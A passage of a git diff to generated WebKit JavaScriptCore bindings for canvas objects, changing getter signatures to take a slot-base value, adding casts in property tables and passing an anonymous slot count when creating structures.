-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-    CanvasIntArray* impl() const
-    {
-        return static_cast<CanvasIntArray*>(Base::impl());
-    }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    JSC::JSValue getByIndex(JSC::ExecState*, unsigned index);
-    void indexSetter(JSC::ExecState*, unsigned index, JSC::JSValue);
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasIntArray*);
-CanvasIntArray* toCanvasIntArray(JSC::JSValue);
-
-class JSCanvasIntArrayPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasIntArrayPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = Base::StructureFlags;
-};
-
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasPattern.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasPattern.h
index 7574813..7b68be7 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasPattern.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCanvasPattern.h
@@ -21,7 +21,6 @@
 #ifndef JSCanvasPattern_h
 #define JSCanvasPattern_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -41,7 +40,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     CanvasPattern* impl() const { return m_impl.get(); }
@@ -63,7 +62,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCanvasPatternPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext.cpp
index 07710a1..a874f81 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext.cpp
@@ -36,8 +36,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSCanvasRenderingContext);
 
 static const HashTableValue JSCanvasRenderingContextTableValues[3] =
 {
-    { "canvas", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContextCanvas, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCanvasRenderingContextConstructor, (intptr_t)0 },
+    { "canvas", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContextCanvas), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContextConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -76,7 +76,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -144,17 +144,18 @@ bool JSCanvasRenderingContext::getOwnPropertyDescriptor(ExecState* exec, const I
     return getStaticValueDescriptor<JSCanvasRenderingContext, Base>(exec, &JSCanvasRenderingContextTable, this, propertyName, descriptor);
 }
 
-JSValue jsCanvasRenderingContextCanvas(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContextCanvas(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext* castedThis = static_cast<JSCanvasRenderingContext*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext* castedThis = static_cast<JSCanvasRenderingContext*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext* imp = static_cast<CanvasRenderingContext*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->canvas()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->canvas()));
+    return result;
 }
 
-JSValue jsCanvasRenderingContextConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContextConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext* domObject = static_cast<JSCanvasRenderingContext*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext* domObject = static_cast<JSCanvasRenderingContext*>(asObject(slotBase));
     return JSCanvasRenderingContext::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCanvasRenderingContext::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext.h
index a8b56a4..4d7b74d 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext.h
@@ -21,7 +21,6 @@
 #ifndef JSCanvasRenderingContext_h
 #define JSCanvasRenderingContext_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -66,7 +65,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCanvasRenderingContextPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -75,8 +74,8 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCanvasRenderingContextCanvas(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContextConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContextCanvas(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCanvasRenderingContextConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext2D.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext2D.cpp
index 97b4d72..a991e8d 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext2D.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext2D.cpp
@@ -47,22 +47,22 @@ ASSERT_CLASS_FITS_IN_CELL(JSCanvasRenderingContext2D);
 
 static const HashTableValue JSCanvasRenderingContext2DTableValues[17] =
 {
-    { "globalAlpha", DontDelete, (intptr_t)jsCanvasRenderingContext2DGlobalAlpha, (intptr_t)setJSCanvasRenderingContext2DGlobalAlpha },
-    { "globalCompositeOperation", DontDelete, (intptr_t)jsCanvasRenderingContext2DGlobalCompositeOperation, (intptr_t)setJSCanvasRenderingContext2DGlobalCompositeOperation },
-    { "lineWidth", DontDelete, (intptr_t)jsCanvasRenderingContext2DLineWidth, (intptr_t)setJSCanvasRenderingContext2DLineWidth },
-    { "lineCap", DontDelete, (intptr_t)jsCanvasRenderingContext2DLineCap, (intptr_t)setJSCanvasRenderingContext2DLineCap },
-    { "lineJoin", DontDelete, (intptr_t)jsCanvasRenderingContext2DLineJoin, (intptr_t)setJSCanvasRenderingContext2DLineJoin },
-    { "miterLimit", DontDelete, (intptr_t)jsCanvasRenderingContext2DMiterLimit, (intptr_t)setJSCanvasRenderingContext2DMiterLimit },
-    { "shadowOffsetX", DontDelete, (intptr_t)jsCanvasRenderingContext2DShadowOffsetX, (intptr_t)setJSCanvasRenderingContext2DShadowOffsetX },
-    { "shadowOffsetY", DontDelete, (intptr_t)jsCanvasRenderingContext2DShadowOffsetY, (intptr_t)setJSCanvasRenderingContext2DShadowOffsetY },
-    { "shadowBlur", DontDelete, (intptr_t)jsCanvasRenderingContext2DShadowBlur, (intptr_t)setJSCanvasRenderingContext2DShadowBlur },
-    { "shadowColor", DontDelete, (intptr_t)jsCanvasRenderingContext2DShadowColor, (intptr_t)setJSCanvasRenderingContext2DShadowColor },
-    { "font", DontDelete, (intptr_t)jsCanvasRenderingContext2DFont, (intptr_t)setJSCanvasRenderingContext2DFont },
-    { "textAlign", DontDelete, (intptr_t)jsCanvasRenderingContext2DTextAlign, (intptr_t)setJSCanvasRenderingContext2DTextAlign },
-    { "textBaseline", DontDelete, (intptr_t)jsCanvasRenderingContext2DTextBaseline, (intptr_t)setJSCanvasRenderingContext2DTextBaseline },
-    { "strokeStyle", DontDelete, (intptr_t)jsCanvasRenderingContext2DStrokeStyle, (intptr_t)setJSCanvasRenderingContext2DStrokeStyle },
-    { "fillStyle", DontDelete, (intptr_t)jsCanvasRenderingContext2DFillStyle, (intptr_t)setJSCanvasRenderingContext2DFillStyle },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCanvasRenderingContext2DConstructor, (intptr_t)0 },
+    { "globalAlpha", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DGlobalAlpha), (intptr_t)setJSCanvasRenderingContext2DGlobalAlpha },
+    { "globalCompositeOperation", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DGlobalCompositeOperation), (intptr_t)setJSCanvasRenderingContext2DGlobalCompositeOperation },
+    { "lineWidth", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DLineWidth), (intptr_t)setJSCanvasRenderingContext2DLineWidth },
+    { "lineCap", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DLineCap), (intptr_t)setJSCanvasRenderingContext2DLineCap },
+    { "lineJoin", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DLineJoin), (intptr_t)setJSCanvasRenderingContext2DLineJoin },
+    { "miterLimit", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DMiterLimit), (intptr_t)setJSCanvasRenderingContext2DMiterLimit },
+    { "shadowOffsetX", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DShadowOffsetX), (intptr_t)setJSCanvasRenderingContext2DShadowOffsetX },
+    { "shadowOffsetY", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DShadowOffsetY), (intptr_t)setJSCanvasRenderingContext2DShadowOffsetY },
+    { "shadowBlur", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DShadowBlur), (intptr_t)setJSCanvasRenderingContext2DShadowBlur },
+    { "shadowColor", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DShadowColor), (intptr_t)setJSCanvasRenderingContext2DShadowColor },
+    { "font", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DFont), (intptr_t)setJSCanvasRenderingContext2DFont },
+    { "textAlign", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DTextAlign), (intptr_t)setJSCanvasRenderingContext2DTextAlign },
+    { "textBaseline", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DTextBaseline), (intptr_t)setJSCanvasRenderingContext2DTextBaseline },
+    { "strokeStyle", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DStrokeStyle), (intptr_t)setJSCanvasRenderingContext2DStrokeStyle },
+    { "fillStyle", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DFillStyle), (intptr_t)setJSCanvasRenderingContext2DFillStyle },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCanvasRenderingContext2DConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -101,7 +101,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -124,50 +124,50 @@ bool JSCanvasRenderingContext2DConstructor::getOwnPropertyDescriptor(ExecState*
 
 static const HashTableValue JSCanvasRenderingContext2DPrototypeTableValues[45] =
 {
-    { "save", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSave, (intptr_t)0 },
-    { "restore", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionRestore, (intptr_t)0 },
-    { "scale", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionScale, (intptr_t)2 },
-    { "rotate", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionRotate, (intptr_t)1 },
-    { "translate", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionTranslate, (intptr_t)2 },
-    { "transform", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionTransform, (intptr_t)6 },
-    { "setTransform", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetTransform, (intptr_t)6 },
-    { "createLinearGradient", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionCreateLinearGradient, (intptr_t)4 },
-    { "createRadialGradient", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionCreateRadialGradient, (intptr_t)6 },
-    { "clearRect", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionClearRect, (intptr_t)4 },
-    { "fillRect", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionFillRect, (intptr_t)4 },
-    { "beginPath", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionBeginPath, (intptr_t)0 },
-    { "closePath", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionClosePath, (intptr_t)0 },
-    { "moveTo", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionMoveTo, (intptr_t)2 },
-    { "lineTo", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionLineTo, (intptr_t)2 },
-    { "quadraticCurveTo", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionQuadraticCurveTo, (intptr_t)4 },
-    { "bezierCurveTo", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionBezierCurveTo, (intptr_t)6 },
-    { "arcTo", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionArcTo, (intptr_t)5 },
-    { "rect", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionRect, (intptr_t)4 },
-    { "arc", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionArc, (intptr_t)6 },
-    { "fill", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionFill, (intptr_t)0 },
-    { "stroke", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionStroke, (intptr_t)0 },
-    { "clip", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionClip, (intptr_t)0 },
-    { "isPointInPath", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionIsPointInPath, (intptr_t)2 },
-    { "fillText", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionFillText, (intptr_t)0 },
-    { "strokeText", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionStrokeText, (intptr_t)0 },
-    { "measureText", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionMeasureText, (intptr_t)1 },
-    { "setAlpha", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetAlpha, (intptr_t)1 },
-    { "setCompositeOperation", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetCompositeOperation, (intptr_t)1 },
-    { "setLineWidth", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetLineWidth, (intptr_t)1 },
-    { "setLineCap", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetLineCap, (intptr_t)1 },
-    { "setLineJoin", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetLineJoin, (intptr_t)1 },
-    { "setMiterLimit", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetMiterLimit, (intptr_t)1 },
-    { "clearShadow", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionClearShadow, (intptr_t)0 },
-    { "setStrokeColor", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetStrokeColor, (intptr_t)0 },
-    { "setFillColor", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetFillColor, (intptr_t)0 },
-    { "strokeRect", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionStrokeRect, (intptr_t)0 },
-    { "drawImage", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionDrawImage, (intptr_t)0 },
-    { "drawImageFromRect", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionDrawImageFromRect, (intptr_t)0 },
-    { "setShadow", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionSetShadow, (intptr_t)0 },
-    { "createPattern", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionCreatePattern, (intptr_t)0 },
-    { "createImageData", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionCreateImageData, (intptr_t)2 },
-    { "getImageData", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionGetImageData, (intptr_t)4 },
-    { "putImageData", DontDelete|Function, (intptr_t)jsCanvasRenderingContext2DPrototypeFunctionPutImageData, (intptr_t)0 },
+    { "save", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSave), (intptr_t)0 },
+    { "restore", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionRestore), (intptr_t)0 },
+    { "scale", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionScale), (intptr_t)2 },
+    { "rotate", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionRotate), (intptr_t)1 },
+    { "translate", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionTranslate), (intptr_t)2 },
+    { "transform", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionTransform), (intptr_t)6 },
+    { "setTransform", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetTransform), (intptr_t)6 },
+    { "createLinearGradient", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionCreateLinearGradient), (intptr_t)4 },
+    { "createRadialGradient", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionCreateRadialGradient), (intptr_t)6 },
+    { "clearRect", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionClearRect), (intptr_t)4 },
+    { "fillRect", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionFillRect), (intptr_t)4 },
+    { "beginPath", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionBeginPath), (intptr_t)0 },
+    { "closePath", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionClosePath), (intptr_t)0 },
+    { "moveTo", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionMoveTo), (intptr_t)2 },
+    { "lineTo", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionLineTo), (intptr_t)2 },
+    { "quadraticCurveTo", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionQuadraticCurveTo), (intptr_t)4 },
+    { "bezierCurveTo", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionBezierCurveTo), (intptr_t)6 },
+    { "arcTo", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionArcTo), (intptr_t)5 },
+    { "rect", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionRect), (intptr_t)4 },
+    { "arc", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionArc), (intptr_t)6 },
+    { "fill", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionFill), (intptr_t)0 },
+    { "stroke", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionStroke), (intptr_t)0 },
+    { "clip", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionClip), (intptr_t)0 },
+    { "isPointInPath", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionIsPointInPath), (intptr_t)2 },
+    { "fillText", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionFillText), (intptr_t)0 },
+    { "strokeText", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionStrokeText), (intptr_t)0 },
+    { "measureText", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionMeasureText), (intptr_t)1 },
+    { "setAlpha", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetAlpha), (intptr_t)1 },
+    { "setCompositeOperation", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetCompositeOperation), (intptr_t)1 },
+    { "setLineWidth", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetLineWidth), (intptr_t)1 },
+    { "setLineCap", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetLineCap), (intptr_t)1 },
+    { "setLineJoin", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetLineJoin), (intptr_t)1 },
+    { "setMiterLimit", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetMiterLimit), (intptr_t)1 },
+    { "clearShadow", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionClearShadow), (intptr_t)0 },
+    { "setStrokeColor", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetStrokeColor), (intptr_t)0 },
+    { "setFillColor", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetFillColor), (intptr_t)0 },
+    { "strokeRect", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionStrokeRect), (intptr_t)0 },
+    { "drawImage", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionDrawImage), (intptr_t)0 },
+    { "drawImageFromRect", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionDrawImageFromRect), (intptr_t)0 },
+    { "setShadow", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionSetShadow), (intptr_t)0 },
+    { "createPattern", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionCreatePattern), (intptr_t)0 },
+    { "createImageData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionCreateImageData), (intptr_t)2 },
+    { "getImageData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionGetImageData), (intptr_t)4 },
+    { "putImageData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasRenderingContext2DPrototypeFunctionPutImageData), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -217,125 +217,138 @@ bool JSCanvasRenderingContext2D::getOwnPropertyDescriptor(ExecState* exec, const
     return getStaticValueDescriptor<JSCanvasRenderingContext2D, Base>(exec, &JSCanvasRenderingContext2DTable, this, propertyName, descriptor);
 }
 
-JSValue jsCanvasRenderingContext2DGlobalAlpha(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DGlobalAlpha(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsNumber(exec, imp->globalAlpha());
+    JSValue result = jsNumber(exec, imp->globalAlpha());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DGlobalCompositeOperation(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DGlobalCompositeOperation(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsString(exec, imp->globalCompositeOperation());
+    JSValue result = jsString(exec, imp->globalCompositeOperation());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DLineWidth(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DLineWidth(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsNumber(exec, imp->lineWidth());
+    JSValue result = jsNumber(exec, imp->lineWidth());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DLineCap(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DLineCap(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
